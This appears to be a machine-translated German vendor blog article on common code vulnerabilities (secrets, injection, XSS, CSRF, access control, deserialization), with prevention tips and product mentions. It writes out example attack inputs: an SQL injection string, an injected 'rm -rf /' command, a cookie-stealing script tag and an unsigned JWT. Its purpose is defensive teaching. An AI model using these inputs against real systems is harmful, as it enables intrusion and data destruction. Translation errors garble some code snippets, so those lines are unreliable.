Die wichtigsten Sicherheitslücken im Bereich Code

Einleitung: In der heutigen Softwarelandschaft ist die Codesicherheit ein entscheidender Faktor. Im Jahr 2025 wurden alle bisherigen Rekorde für offengelegte Schwachstellen gebrochen – allein in der ersten Jahreshälfte wurden über 21.500 CVEs gemeldet. Angreifer verschwenden keine Zeit und nutzen diese Schwachstellen oft schon innerhalb weniger Stunden nach ihrer Offenlegung aus. Das Besondere daran: Viele davon sind keine exotischen neuen 0-Day-Schwachstellen, sondern dieselben alten Fehler, die Entwickler seit Jahrzehnten machen. Es ist fast schon peinlich – Cross-Site-Scripting und SQL-Injection sind in neu gemeldeten CVEs nach wie vor weit verbreitet, was unterstreicht, dass sichere Codierungspraktiken nicht Schritt halten können. Dies sollte jedes Entwicklungsteam beunruhigen, da Schwachstellen-Exploits mittlerweile 20 % aller Sicherheitsverletzungen ausmachen und damit gestohlene Anmeldedaten als häufigsten ersten Angriffsvektor fast überholt haben.

Abbildung: Die Anzahl der Software-Sicherheitslücken steigt auf ein Allzeithoch, wobei im Jahr 2025 durchschnittlich 133 neue CVEs pro Tag gemeldet werden. Über ein Drittel davon werden als „hoch“ oder „kritisch“ eingestuft, wodurch zeitnahe Patches und sichere Programmierung wichtiger denn je sind.

Warum ist das wichtig? Weil ein einziger Fehler in der Codierung Sicherheitsinvestitionen in Millionenhöhe zunichte machen kann. So konnte beispielsweise im Jahr 2024 ein Sicherheitsverstoß beim US-Finanzministerium auf nichts anderes als einen durchgesickerten API-Schlüssel zurückgeführt werden. Und wir alle haben gesehen, wie eine triviale SQL-Injection oder eine fehlende Authentifizierungsprüfung zu katastrophalen Datenlecks führen kann. Sicherer Code ist heute wichtiger denn je. Das ist nicht nur ein Problem des Sicherheitsteams – es beginnt bei uns als Entwicklern, die von Anfang an sichereren Code schreiben und Tools einsetzen, um Probleme frühzeitig zu erkennen.

In diesem Artikel werden wir die wichtigsten Sicherheitslücken auf Codeebene aufschlüsseln, die moderne Anwendungen plagen. Dazu gehören klassische Fehler in Ihrem eigenen Code (denken Sie an fest codierte secrets Fehler bei der Eingabevalidierung) sowie echte CVEs in den Open-Source-Bibliotheken und Frameworks, auf die Sie sich verlassen. Für jede Schwachstelle erklären wir, wie sie funktioniert, geben ein Beispiel aus der Praxis, diskutieren ihre Auswirkungen und geben praktische Tipps zu ihrer Vermeidung. Außerdem zeigen wir Ihnen, wie Entwicklerzentrierte Sicherheit wie Aikido dabei helfen Aikido , diese Probleme zu erkennen oder sogar automatisch zu beheben, bevor sie in die Produktion gelangen.

Was sind Sicherheitslücken im Code?

Eine Sicherheitslücke im Code ist jede Schwachstelle im Quellcode einer Anwendung, die ein Angreifer ausnutzen kann, um die Vertraulichkeit, Integrität oder Verfügbarkeit zu gefährden. Dies umfasst alles von einfachen Fehlern (z. B. Verwendung von eval auf nicht bereinigte Eingaben) bis hin zu subtilen Fehlern in Bibliotheken von Drittanbietern (z. B. ein Parsing-Fehler, der zur Ausführung von Remote-Code führt). Kurz gesagt: Wenn es einem Angreifer die Arbeit erleichtert, handelt es sich um eine Code-Sicherheitslücke.

Diese Schwachstellen betreffen alle Sprachen und Tech-Stacks – egal, ob Sie JavaScript/TypeScript, Python, Go, Java oder etwas anderes schreiben. Eine Schwachstelle kann es einem Angreifer ermöglichen, bösartigen Code einzuschleusen, sensible Daten zu stehlen, Berechtigungen zu erweitern oder Ihr System zum Absturz zu bringen. Viele dieser Fehler werden als CVEs (Common Vulnerabilities and Exposures) katalogisiert, sobald sie in gängiger Software entdeckt werden. Andere können einzigartige Logikfehler in Ihrem eigenen Code sein. Allen gemeinsam ist, dass sie aus unsicheren Codierungspraktiken oder übersehenen Annahmen entstehen.

Vor diesem Hintergrund wollen wir uns einige der häufigsten und gefährlichsten Schwachstellen auf Codeebene ansehen, mit denen Entwickler heute konfrontiert sind. Die folgende Liste enthält sowohl häufig auftretende Fehler von Entwicklern als auch reale CVEs aus Open-Source-Projekten. Jeder dieser Punkte stellt eine praktische Bedrohung dar, die zu schwerwiegenden Sicherheitsverletzungen führen kann, wenn sie nicht behoben wird.

Die 10 häufigsten Sicherheitslücken im Code (und wie man sie behebt)

1. Fest codierte Secrets Code

Das Hinterlassen sensibler secrets Code ist ein kritischer, aber häufig vorkommender Fehler. Das Festcodieren von API-Schlüsseln, Anmeldedaten, Verschlüsselungsschlüsseln oder Tokens in Ihrem Quellcode bedeutet, dass ein Angreifer, der diesen Code sieht (z. B. in einem öffentlichen Repository oder einem durchgesickerten Artefakt), sofortigen Zugriff auf diese secrets erhält. Selbst in privaten Repositorys können Anmeldedaten versehentlich durchgesickert sein – und sobald sie einmal durchgesickert sind, bleiben sie oft jahrelang nutzbar. Tatsächlich wurden laut dem Bericht GitGuardianfür 2025 im Jahr 2024 23,8 Millionen secrets auf GitHub offengelegt (ein Anstieg von 25 % gegenüber dem Vorjahr). Schlimmer noch: 70 % der im Jahr 2022 secrets waren im Jahr 2025 noch gültig, sodass Angreifer viel Zeit hatten, sie auszunutzen.

Verstöße in der Praxis unterstreichen die Auswirkungen. So drangen beispielsweise im Jahr 2024 Angreifer in ein System des US-Finanzministeriums ein, indem sie einen einzigen fest codierten API-Schlüssel für eine Authentifizierungsplattform ausnutzten. Mit einem einzigen Schlüssel umgingen sie mehrere Sicherheitskontrollen, als wären sie autorisierte Benutzer. In ähnlicher Weise beginnen viele Cloud-Sicherheitsverletzungen damit, dass ein Entwickler versehentlich Cloud-Anmeldedaten oder Datenbankpasswörter in einem Repository hinterlegt. Sobald ein Angreifer diese findet, ist das Spiel vorbei – er kann sich als Sie anmelden und Ihre Dienste missbrauchen.

Auswirkungen: Aufgedeckte secrets zu sofortigem unbefugtem Zugriff auf Datenbanken, Cloud-Konten, Zahlungsgateways oder APIs von Drittanbietern führen. Ein Angreifer mit einem durchgesickerten AWS-Schlüssel könnte beispielsweise Infrastruktur aufbauen, Daten exfiltrieren oder hohe Rechnungen verursachen. Die durchschnittlichen Kosten für Sicherheitsverletzungen mit kompromittierten Anmeldedaten belaufen sich auf 4,5 Millionen US-Dollar. Diese Verletzungen sind am schwierigsten zu erkennen und einzudämmen, da der Angreifer im Wesentlichen über gültige Zugriffsrechte verfügt.

Prävention/Behebung: Behandeln Sie secrets scharfe Granaten – codieren Sie sie niemals fest in Ihrem Code oder Ihren Dockerfiles. Verwenden Sie Umgebungsvariablen, Konfigurationsmanagement oder spezielle Geheimnistresore, um secrets Laufzeit einzufügen. Implementieren Sie automatisierte Geheimnisscans in Ihrer CI/CD-Pipeline, um alle Credentials zu erfassen, die dennoch durchrutschen. (Es gibt Lösungen, die eine Live-Geheimniserkennungsfunktion bieten, um zu verhindern secrets committet werden.) Die Plattform Aikidoumfasst beispielsweise ein Geheimnis-Scanning, das einen API-Schlüssel in einem Commit markiert und Sie benachrichtigt oder sogar den Push verhindert. Sobald ein Geheimnis offengelegt wurde, gehen Sie davon aus, dass es kompromittiert ist – rotieren Sie es sofort und machen Sie das alte ungültig. Durch gute Geheimnishygiene und Scanning können Sie vermeiden, dass Angreifern die Schlüssel zu Ihrem Königreich in die Hände fallen.

2. Injektionsangriffe (SQL- und Befehlsinjektion)

„Injection“-Schwachstellen sind ein Dauerbrenner – und nach wie vor unglaublich weit verbreitet. Bei einem Code-Injection-Angriff werden nicht vertrauenswürdige Eingaben als Code oder Befehle interpretiert, wodurch der Angreifer das beabsichtigte Verhalten verändern kann. Die beiden bekanntesten Varianten sind SQL-Injection und OS-Command-Injection.

• SQL-Injection (SQLi): Tritt auf, wenn Benutzereingaben ohne ordnungsgemäße Validierung oder Parametrisierung in eine SQL-Abfrage verkettet werden. Angreifer können Eingaben wie ' ODER 1=1-- die Abfragelogik manipulieren. Dadurch können sie ganze Datenbanken auslesen oder Daten ändern, indem sie die WHERE-Klausel der Abfrage erweitern oder beenden und einen neuen Befehl hinzufügen. Obwohl es sich um eine klassische Schwachstelle aus den 2000er Jahren handelt, ist SQLi nach wie vor weit verbreitet – es war das zweithäufigste Schwachstellenmuster in CVEs im Jahr 2025. Ein Beispiel dafür ist das berüchtigte „Bobby Tables” XKCD Der Witz ist lustig, bis man merkt, dass echte Unternehmen immer noch davon betroffen sind. Es gab bereits einige viel beachtete Sicherheitsverletzungen, bei denen eine einfache SQL-Injection in einem Anmeldeformular zum Diebstahl von Millionen von Kundendaten führte.
• OS-Befehlsinjektion: In diesem Fall nimmt die Anwendung Benutzereingaben entgegen und fügt sie in einen Systembefehl oder einen Shell-Ausführungsaufruf ein. Eine Python-App könnte beispielsweise Folgendes tun os.system("ping " + user_input)Ein Angreifer könnte eine Eingabe wie 8.8.8.8 && rm -rf / um einen bösartigen zweiten Befehl auszuführen. Es gab CVEs in Web-Frameworks und Dienstprogrammen, die versehentlich solche Eingaben zuließen, um Shells zu generieren. Im Wesentlichen gilt: Wenn ein Angreifer einen ; oder && in eine Befehlszeichenfolge umwandeln, können sie beliebige Systembefehle mit den Berechtigungen der App ausführen.

Beispiel: Ein bemerkenswerter Vorfall aus der Praxis war die Sicherheitslücke „Drupalgeddon2“ (CVE-2018-7600) im CMS Drupal, bei der es sich im Wesentlichen um einen Injektionsfehler handelte, der die Ausführung von Remote-Code über manipulierte Anfragen ermöglichte. Ein weiteres Beispiel: Im Jahr 2022 wurden die internen Daten eines großen Unternehmens gelöscht, weil ein Admin-Tool Benutzereingaben zu einem PowerShell-Befehl verkettete – ein Angreifer übermittelte einen Befehl, um Sicherheitsdienste zu deaktivieren und Daten zu löschen. Diese Fälle zeigen, dass Injektionen direkt zu einer vollständigen Kompromittierung des Systems führen können.

Auswirkungen: SQL-Injection kann sensible Daten (Benutzerdaten, Finanzinformationen) offenlegen oder beschädigen und ermöglicht oft eine tiefere Netzwerk-Pivoting über in der Datenbank gespeicherte Prozeduren. Command Injection führt fast immer zu einer Remote Code Execution (RCE), wodurch Angreifer beliebigen Code auf dem Server ausführen können – und möglicherweise die vollständige Kontrolle über den Host übernehmen. Injection-Schwachstellen äußerst kritisch, da sie eine Anwendung und den zugrunde liegenden Server untergraben können.

Prävention: Das Mantra lautet Vertraue niemals Benutzereingaben.Verwenden Sie vorbereitete Anweisungen (parametrisierte Abfragen) für den Datenbankzugriff – dies stellt sicher, dass Benutzerdaten streng als Daten und nicht als ausführbares SQL behandelt werden. Verwenden Sie beispielsweise in Python Parameterplatzhalter mit cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) anstatt Zeichenfolgenformatierung. Verwenden Sie für Sprachen wie JavaScript ORM-/QueryBuilder-Bibliotheken, die Abfragen für Sie parametrisieren. Vermeiden Sie ebenfalls die Erstellung von Shell-Befehlen aus Teilen der Benutzereingaben. Wenn Sie Systembefehle aufrufen müssen, verwenden Sie sichere Bibliotheksaufrufe oder setzen Sie zumindest akzeptable Eingaben auf die Whitelist. Validieren und bereinigen Sie Eingaben – wenn eine Eingabe beispielsweise eine ID sein soll, stellen Sie sicher, dass sie numerisch ist und innerhalb des erwarteten Bereichs liegt. Die Eingabevalidierung allein ist nicht narrensicher, aber sie ist eine wichtige Schutzschicht.

Setzen Sie außerdem Sicherheitstest-Tools ein. statische Codeanalyse oft offensichtliche Injektionsmuster erkennen (wie z. B. Zeichenfolgenverkettung in SQL-Aufrufen). SAST Aikidowürde beispielsweise das Risiko kennzeichnen os.system(Benutzereingabe) Aufrufe oder nicht parametrisierte SQL-Abfragen als potenzielle Injektionen. Auf der präventiven Seite können Web Application Firewalls (WAFs) einige Injektionsversuche blockieren, aber sie sind nur ein Sicherheitsnetz – das Ziel ist es, den Code zu korrigieren. Denken Sie daran, dass Injection-Schwachstellen , weil sie leicht einzuführen und manchmal schwer zu erkennen sind. Code-Reviews, Entwicklerschulungen und automatisierte Scans sind hier Ihre Freunde.

3. Cross-Site-Scripting

Cross-Site-Scripting ist ein weiterer Dauerbrenner im Werkzeugkasten der Angreifer. Bei einem XSS-Angriff fügt eine Webanwendung unbeabsichtigt bösartigen Skriptcode, der von einem Angreifer bereitgestellt wurde, in die Seiten ein, die an andere Benutzer gesendet werden. Der Browser des Opfers führt dieses Skript aus, was zu gekaperten Sitzungen, verunstalteten Websites oder Malware führt, die an den Benutzer übertragen wird. XSS gibt es in verschiedenen Varianten (gespeichert, reflektiert, DOM-basiert), aber im Kern handelt es sich in der Regel um einen Fehler bei der ordnungsgemäßen Bereinigung oder Kodierung der Ausgabe in der Benutzeroberfläche.

Trotz des Aufstiegs moderner Frontend-Frameworks bleibt XSS das häufigste Muster für Web-Sicherheitslücken. Im ersten Halbjahr 2025 war Cross-Site-Scripting die häufigste Schwachstelle in neuen CVEs. Dies liegt zum Teil daran, dass selbst geringfügige Versäumnisse bei der Bereinigung XSS in ansonsten sicheren Plattformen verursachen können. Beispielsweise zeigte eine neue Angular-Sicherheitslücke, die 2025 bekannt wurde (CVE-2025-66412), dass bestimmte SVG- und MathML-Attribute nicht vom Standard-Sanitizer von Angular abgedeckt waren, sodass bösartige JavaScript-URLs durchschlüpfen konnten. In Apps, die betroffene Angular-Versionen verwenden, konnte ein Angreifer eine Payload erstellen, die beim Rendern beliebige Skripte in den Browsern der Benutzer ausführte – ein gespeichertes XSS in einem vermeintlich sicheren Framework!

Beispiel: Ein klassisches Beispiel ist ein Kommentarbereich, in dem Benutzer Text posten können. Wenn die App diesen Text einfach ohne Verschlüsselung auf Seiten anzeigt, könnte ein Angreifer einen Kommentar wie den folgenden posten: <script>stealCookies()</script>Jeder Benutzer, der diesen Kommentar ansieht, würde unwissentlich das Skript des Angreifers ausführen, das beispielsweise sein Sitzungstoken an den Angreifer senden könnte. Es gab bereits reale Vorfälle auf bekannten Websites, bei denen XSS in Benutzerprofilen oder Foren zu massenhaften Kontoübernahmen führte. Selbst im Jahr 2023 fanden Forscher XSS in verschiedenen Plugins und Webanwendungen – beispielsweise ermöglichte ein reflektiertes XSS in einem beliebten Unternehmens-Supportportal einem Angreifer die Ausführung von Code, indem er einen Helpdesk-Benutzer dazu brachte, auf einen manipulierten Link zu klicken.

Auswirkungen: Die Auswirkungen von XSS sind in der Regel Identitätsdiebstahl und Datendiebstahl auf der Client-Seite. Angreifer können Session-Cookies stehlen, wodurch sie sich als Benutzer (einschließlich Administratoren) ausgeben können. Sie können als Benutzer Aktionen ausführen (z. B. Ihre Kontoeinstellungen ändern), gefälschte Anmeldeformulare anzeigen (Phishing) oder sogar Würmer verbreiten (ein XSS, der sich selbst auf anderen Seiten veröffentlicht). XSS gefährdet zwar nicht direkt den Server, stellt jedoch ein ernstes Risiko für Ihre Benutzer dar und kann Ihre Anwendung beschädigen. In einigen Fällen kann XSS ein Schritt zu weiteren Angriffen sein (z. B. Umleitung zum Browser eines Administrators, um Backend-Zugriff zu erhalten).

Prävention: Die goldene Regel lautet: Eingaben bereinigen und Ausgaben verschlüsseln. Stellen Sie sicher, dass alle Daten, die HTML-Sonderzeichen enthalten könnten, vor dem Einfügen in die Seite ordnungsgemäß maskiert oder bereinigt werden. Moderne Frameworks wie React, Angular und Vue verfügen über integrierte XSS-Abwehrmechanismen (z. B. automatische Maskierung oder DomPurify für gefährliches HTML) – nutzen Sie diese wie vorgesehen und umgehen Sie diese Sicherheitsvorkehrungen nicht. Wenn Sie HTML manuell erstellen, verwenden Sie Template-Bibliotheken, dieescape explizit Kodierungsfunktionen aufrufen. Setzen Sie eine Content Security Policy (CSP) ein, um Schäden zu mindern (CSP kann einschränken, welche Skripte ausgeführt werden können). Aktualisieren Sie Frontend-Bibliotheken regelmäßig – wie bei den 2025 XSS-CVEs von Angular zu sehen ist, schließen Frameworks Sicherheitslücken.

Aus Sicht der Werkzeugausstattung statische Analysatoren kann einige XSS-Probleme durch Verfolgen von nicht bereinigten Datenflüssen finden. Der Code-Scan Aikidokann Sie beispielsweise warnen, wenn Benutzereingaben direkt in innerHTML oder eine Vorlage ohne Escape-Zeichen. dynamisches Scannen DAST) kann XSS ebenfalls erkennen, indem es während des Tests versucht, Skripte einzuschleusen. Kombinieren Sie dies mit einer gründlichen Codeüberprüfung (stellen Sie sich die Denkweise eines Angreifers vor, wenn Sie Code überprüfen, der HTML verarbeitet). Der Schlüssel ist Wachsamkeit: XSS schleicht sich oft durch dieses „eine kleine Feld“ ein, das jemand vergessen hat zu escape.

4. Cross-Site-Request-Forgery (CSRF)

Cross-Site Request Forgery unterscheidet sich ein wenig von den anderen hier behandelten Themen – es handelt sich eher um eine Design-Schwachstelle als um einen regelrechten Code-Fehler, aber es ist für Webanwendungen sehr relevant. CSRF ermöglicht es einem Angreifer, den Browser eines Opfers dazu zu verleiten, unbefugte Aktionen in einer Webanwendung auszuführen, in der das Opfer authentifiziert ist. Im Wesentlichen „reitet“ der Angreifer auf der Sitzung des Opfers, indem er eine gefälschte Anfrage vom Browser des Opfers an die Zielanwendung sendet.

Wie geschieht das? Angenommen, ein Benutzer ist auf der Website seiner Bank angemeldet. Die Überweisungsfunktion der Bank ist eine einfache POST-Anfrage zum Überweisen von Geld. Wenn die Website der Bank nicht gegen CSRF geschützt ist, könnte ein Angreifer diesem Benutzer eine bösartige HTML-Seite per E-Mail senden, die ein verstecktes Formular oder Skript enthält, das automatisch diese POST-Anfrage stellt (unter Verwendung der Cookies des Benutzers). Die Bank sieht ein gültiges Sitzungscookie des Benutzers und verarbeitet die Anfrage – sie überweist Geld an den Angreifer, ohne dass der Benutzer davon etwas merkt.

CSRF ist seit Jahren bekannt, tritt jedoch nach wie vor häufig auf (es gehörte 2025 zu den fünf häufigsten Schwachstellenkategorien in CVEs). Es tritt oft auf, wenn Entwickler APIs oder Formularaktionen erstellen, ohne CSRF-Token oder andere Maßnahmen zur Fälschungssicherheit einzubauen. Selbst ausgereifte Frameworks können Logikfehler aufweisen: So wurde beispielsweise 2025 eine Schwachstelle in Angular entdeckt, bei der der XSRF-Schutz von Angular fälschlicherweise einige domänenübergreifende URLs als gleicher Ursprung behandelte, wodurch das Token des Benutzers an von Angreifern kontrollierte Anfragen angehängt wurde. Diese Art von Fehler könnte CSRF durch das Durchsickern oder den Missbrauch von Tokens ermöglichen.

Auswirkungen: Ein erfolgreicher CSRF-Angriff kann Benutzer dazu zwingen, alle Aktionen durchzuführen, die ihr Konto zulässt und die den Status ändern: Aktualisierung von Kontodaten, Einkäufe tätigen, Passwort ändern, sogar Berechtigungen erweitern, wenn eine solche Funktion vorhanden ist. Im Wesentlichen nutzt der Angreifer die authentifizierte Sitzung des Opfers aus. Bemerkenswert ist, dass CSRF-Angriffe auf Aktionen abzielen und nicht direkt auf Datendiebstahl (dafür gibt es XSS), aber die Aktionen können ebenso schädlich sein (Finanztransaktionen, Datenänderungen usw.). Viele hochkarätige CSRF-Exploits haben es Angreifern ermöglicht, beispielsweise die DNS-Einstellungen eines Routers von innen zu ändern oder unerwünschte Inhalte im Namen eines Benutzers in sozialen Medien zu veröffentlichen.

Prävention: Die Standardabwehr besteht darin, bei jeder sensiblen Transaktion ein Anti-CSRF-Token einzufügen. Frameworks wie Django, Rails, Spring usw. verfügen über integrierte CSRF-Token-Mechanismen – nutzen Sie diese. Das Token ist ein Zufallswert, den die Website eines Angreifers nicht abrufen kann, und der Server akzeptiert nur Anfragen mit dem richtigen Token (das in der Regel als verstecktes Formularfeld oder Header gesendet wird). Wenn Sie in modernen Apps ein reines API-Backend erstellen, können Sie Strategien wie die Anforderung eines benutzerdefinierten Headers (z. B. X-Requested-With) oder Same-Site-Cookies verwenden, die auf Strict/Lax Um CSRF zu mindern, stellen Sie sicher, dass Ihre Cookies markiert sind. SameSite=Lax oder Strict damit Browser sie standardmäßig nicht in Cross-Origin-Anfragen einbeziehen (dies ist mittlerweile eine wichtige moderne Abwehrmaßnahme). Seien Sie auch vorsichtig mit CORS-Konfigurationen – lassen Sie nicht zu, dass die Domain eines Angreifers privilegierte Anfragen über CORS sendet, es sei denn, dies ist ausdrücklich beabsichtigt.

Die meisten Web-Frameworks kümmern sich um CSRF, wenn Sie es richtig aktivieren. Stellen Sie sicher, dass es nicht versehentlich deaktiviert ist. Testen Sie einige CSRF-Szenarien: Kann eine Aktion allein durch den Besuch eines externen Links oder das Laden eines Bildes ausgelöst werden? Wenn ja, haben Sie ein Problem. Glücklicherweise lässt sich CSRF mit den richtigen Maßnahmen verhindern. Die Sicherheitstests Aikidokönnen im Rahmen von Penetrationstests auch CSRF-Versuche simulieren. Erwägen Sie außerdem kritische Aktionen mit mehreren Faktoren (sodass selbst wenn CSRF die Aktion auslöst, ein zweiter Faktor erforderlich ist, um sie abzuschließen). Gehen Sie niemals davon aus, dass eine Anfrage aus einer echten Quelle stammt – überprüfen Sie sie.

5. fehlerhafte Authentifizierung Zugriffskontrolle

fehlerhafte Authentifizierung Schwachstellen in der Zugriffskontrolle treten auf, wenn Ihre Anwendung nicht ordnungsgemäß durchsetzt, wer was tun darf. Diese Kategorie ist durchweg das kritischste Risiko in den OWASP Top 10. Im Wesentlichen handelt es sich hierbei um Schwachstellen, die es Angreifern ermöglichen, entweder die Authentifizierung zu umgehen oder ihre Berechtigungen zu erweitern, indem sie Lücken in Ihrer Autorisierungslogik ausnutzen.

Eine Teilmenge ist fehlerhafte Authentifizierung – Probleme wie die Zulassung schwacher Passwörter, die Nichtdurchsetzung von Sperren bei Brute-Force-Versuchen oder fehlerhaftes Sitzungsmanagement (z. B. Sitzungs-IDs, die vorhersehbar sind oder nicht ablaufen). Ein berühmtes historisches Beispiel war ein Problem, bei dem einige Apps ein JWT mit dem Algorithmus „none“ als gültig akzeptierten – was bedeutete, dass ein Angreifer ein Token mit { "alg": "none", "user": "admin" } und das System würde es als Admin-Login akzeptieren (dies resultierte daraus, dass Bibliotheken Tokens nicht ordnungsgemäß überprüften, ein Problem, das um 2015 entdeckt wurde). In jüngerer Zeit sind Fehlkonfigurationen wie das Belassen von Standard-Admin-Anmeldedaten oder die Verwendung von fest codierten Passwörtern (die mit secrets in Verbindung stehen) häufige Authentifizierungsfehler.

Die andere (und wohl noch weiter verbreitete) Untergruppe ist fehlerhafte Zugriffskontrolle. Hier geht es darum, dass Benutzerberechtigungen nicht korrekt überprüft werden. Beispielsweise könnte eine Anwendung eine URL wie /user/profile?userId=1234Wenn ich das ändern kann userId Wenn jemand die ID einer anderen Person verwendet und deren Daten einsehen oder ändern kann, handelt es sich um einen IDOR (Insecure Direct Object Reference) – einen klassischen Fehler in der Zugriffskontrolle. Dies wurde in vielen CVEs als CWE-862 „Missing Authorization” hervorgehoben. Das kommt unglaublich häufig vor: Viele hochkarätige Sicherheitsverletzungen beginnen damit, dass jemand einen API-Endpunkt findet, der die Berechtigungen des Anfragenden nicht überprüft. Ein reales Beispiel: Ein HR-System eines Unternehmens verfügte über eine Funktion zum „Exportieren aller Mitarbeiterdatensätze”, die für HR-Manager gedacht war. Aufgrund einer fehlenden Überprüfung konnte jeder angemeldete Mitarbeiter diese Funktion aufrufen, wenn er die URL kannte – was zu einer Datenverletzung von Tausenden von Datensätzen führte.

Auswirkungen: Durch eine fehlerhafte Authentifizierung können Angreifer sich als andere Benutzer (einschließlich Administratoren) ausgeben oder die Berechtigungen eines anderen Benutzers nutzen. fehlerhafte Zugriffskontrolle sensible Daten offenlegen (wenn Sie auf die Datensätze anderer Personen zugreifen können) oder sogar böswillige Statusänderungen ermöglichen (z. B. normale Benutzer, die nur für Administratoren bestimmte Aktionen ausführen). Zu den schlimmsten Szenarien gehören die vollständige Übernahme von Konten, Datenlecks oder unbefugte Vorgänge im gesamten System. Beispielsweise könnte eine fehlende Administratorprüfung es einem Angreifer ermöglichen, neue Administratoren anzulegen oder alle Kundendaten herunterzuladen. Es ist leicht zu verstehen, warum dies als das Risiko Nr. 1 eingestuft wird – es untergräbt das grundlegende Sicherheitsprinzip, dass jeder Benutzer nur das tun kann, was er tun soll.

Prävention: Dies hängt von der Strenge Ihrer Authentifizierungs- und Autorisierungsimplementierung ab:

• Authentifizierung: Verwenden Sie bewährte Frameworks für die Anmeldung und Sitzungsverwaltung – entwickeln Sie keine eigene Authentifizierungslösung, wenn Sie dies vermeiden können. Setzen Sie strenge Passwortrichtlinien durch und verwenden Sie eine Multi-Faktor-Authentifizierung für sensible Konten. Stellen Sie sicher, dass Sie Passwörter ordnungsgemäß hashen (verwenden Sie starke adaptive Hashes wie bcrypt oder Argon2, nicht einfaches MD5). Implementieren Sie eine Kontosperrung oder Ratenbegrenzung Anmeldeversuchen, um Brute-Force-Angriffe zu verhindern. Verwenden Sie für Sitzungstoken lange, zufällige Token, und überprüfen Sie bei Verwendung von JWTs immer Signaturen und Ansprüche (und lehnen Sie „none”-Algorithmen oder andere unsichere Konfigurationen ab). Erwägen Sie die Verwendung von Bibliotheken, um die JWT-Überprüfung und die Speicherung von Sitzungen sicher zu handhaben.
• Zugriffskontrolle: Befolgen Sie bei der Anwendungsentwicklung das Prinzip der geringsten Privilegien. Auf der Serverseite sollte jede Anfrage an eine geschützte Ressource eine Autorisierungsprüfung durchführen: Wenn beispielsweise Benutzer 123 eine Anfrage stellt, /Konten/456Der Code sollte überprüfen, ob 123 Zugriff auf die Ressource 456 hat. Verwenden Sie nach Möglichkeit rollenbasierte Zugriffskontroll- oder attributbasierte Zugriffskontroll-Frameworks. Es ist oft hilfreich, die Autorisierungslogik zu zentralisieren, damit sie nicht auf Millionen von Bedingungen verteilt ist, die leicht zu vergessen sind. Wenn Sie Frameworks wie Django, Rails, Spring Security usw. verwenden, nutzen Sie deren integrierte Annotationen oder Middleware für die Zugriffskontrolle. Vermeiden Sie in REST-APIs, sich ausschließlich auf die clientseitige Durchsetzung zu verlassen (z. B. das Ausblenden von Admin-Schaltflächen in der Benutzeroberfläche) – setzen Sie die Durchsetzung immer auch auf der Backend-Seite durch.

Denken Sie während der Entwicklung und beim Testen wie ein Angreifer: Versuchen Sie, URLs zu manipulieren, auf die IDs anderer Benutzer zuzugreifen oder Aktionen außerhalb Ihrer Rolle durchzuführen. Tools wie die Sicherheitstests Aikido(oder manuelle Penetrationstests) können dabei helfen, diese Probleme zu identifizieren, indem sie nach gängigen IDOR-Mustern oder fehlenden Authentifizierungen an Endpunkten suchen. Einige statische Analyse-Tools können auch fest codierte Umgehungen oder immer zutreffende Bedingungen in der Authentifizierungslogik erkennen.

Gehen Sie beim Programmieren niemals von „Sicherheit durch Verschleierung“ aus (d. h., dass niemand diesen versteckten Admin-Endpunkt finden wird). Stellen Sie stattdessen sicher, dass selbst wenn jemand ihn findet, er ihn ohne die richtigen Anmeldedaten nicht verwenden kann. Auch Protokollierung und Warnmeldungen sind wichtig – wenn jemand wiederholt auf Ressourcen zugreift, auf die er keinen Zugriff haben sollte, möchten Sie davon erfahren. Zusammenfassend lässt sich sagen: Authentifizieren Sie alles, autorisieren Sie jede Aktion.

6. Unsichere Deserialisierung

Deserialisierungslücken treten auf, wenn eine Anwendung serialisierte Daten (z. B. Binärblobs oder JSON/XML, die Objekte darstellen) aus einer nicht vertrauenswürdigen Quelle akzeptiert und ohne angemessene Sicherheitsvorkehrungen deserialisiert. Wenn die Daten böswillig manipuliert wurden, kann dies dazu führen, dass das Programm unerwartete Objekte instanziiert oder vom Angreifer kontrollierten Code ausführt. In Sprachen wie Java, Python und .NET hat unsichere Deserialisierung zu zahlreichen kritischen CVEs und Exploits geführt.

Ein aktuelles, viel beachtetes Beispiel ist React2Shell (CVE-2025-55182), eine kritische RCE in React Server Components, die Ende 2025 entdeckt wurde. Sie entstand durch eine unsichere Deserialisierung im RSC-Protokoll „Flight“ – im Wesentlichen konnte eine fehlerhafte Nutzlast, die an eine Next.js/React-Anwendung gesendet wurde, die Deserialisierungslogik des Servers manipulieren und eine Remote-Codeausführung erreichen. Besonders beängstigend ist, dass die Standardkonfigurationen anfällig waren (eine Standard-Next.js-App konnte ohne Codeänderungen durch den Entwickler ausgenutzt werden). Es handelte sich um einen nicht authentifizierten Angriff, für den lediglich eine manipulierte HTTP-Anfrage an den Server erforderlich war, und der Exploit-Code wurde öffentlich zugänglich gemacht – was innerhalb weniger Tage zu aktiven Exploits in freier Wildbahn führte. Dies zeigt, wie Deserialisierungsfehler selbst in modernen Frameworks lauern können.

In Java war ein berüchtigter Fall die Ausnutzung von Apache Commons Collections im Jahr 2015: Viele Unternehmensanwendungen verwendeten Bibliotheken, die Java-Objekte aus Benutzereingaben (wie in HTTP-Cookies oder SOAP-Daten) automatisch deserialisierten. Angreifer fanden heraus, dass sie ein serialisiertes Objekt einer bösartigen Klasse einfügen konnten, das bei seiner Erstellung Befehle ausführte. Dies führte zu RCEs in Anwendungen wie Jenkins, WebLogic usw. (Mehrere CVEs wie CVE-2017-9805 in Struts und andere in WebLogic behoben diese Probleme). Auch Python ist nicht immun – die Verwendung von Pickle-Laden Bei nicht vertrauenswürdigen Eingaben wird der Eingabe im Grunde genommen die Befugnis zur Codeausführung erteilt. Selbst scheinbar sichere Datenformate können Risiken bergen: YAML-Parser in Python und Ruby wiesen Schwachstellen auf, durch die sie beim Laden speziell gestalteter YAML-Dateien zur Ausführung von Befehlen gezwungen werden konnten.

Auswirkungen: Unsichere Deserialisierung ist oft ein Weg zu Remote-Code-Ausführung. Zumindest kann es Datenmanipulationen oder das Einfügen unbeabsichtigter Objekte ermöglichen. Ein Angreifer kann möglicherweise Systemklassen oder Objekte mit schädlichen Nebenwirkungen instanziieren. In Java könnten sie beispielsweise Gadget-Klassen verwenden (Objekte, deren readObject Methode hat unerwünschtes Verhalten), um eine Reverse-Shell zu öffnen. In Python könnte ein bösartiger Pickle den Betriebssystem Modul und Systembefehle ausführen. Die Auswirkung ist in der Regel eine vollständige Kompromittierung der Anwendung und möglicherweise auch des Hosts, da der Code innerhalb des Prozesses der Anwendung ausgeführt wird.

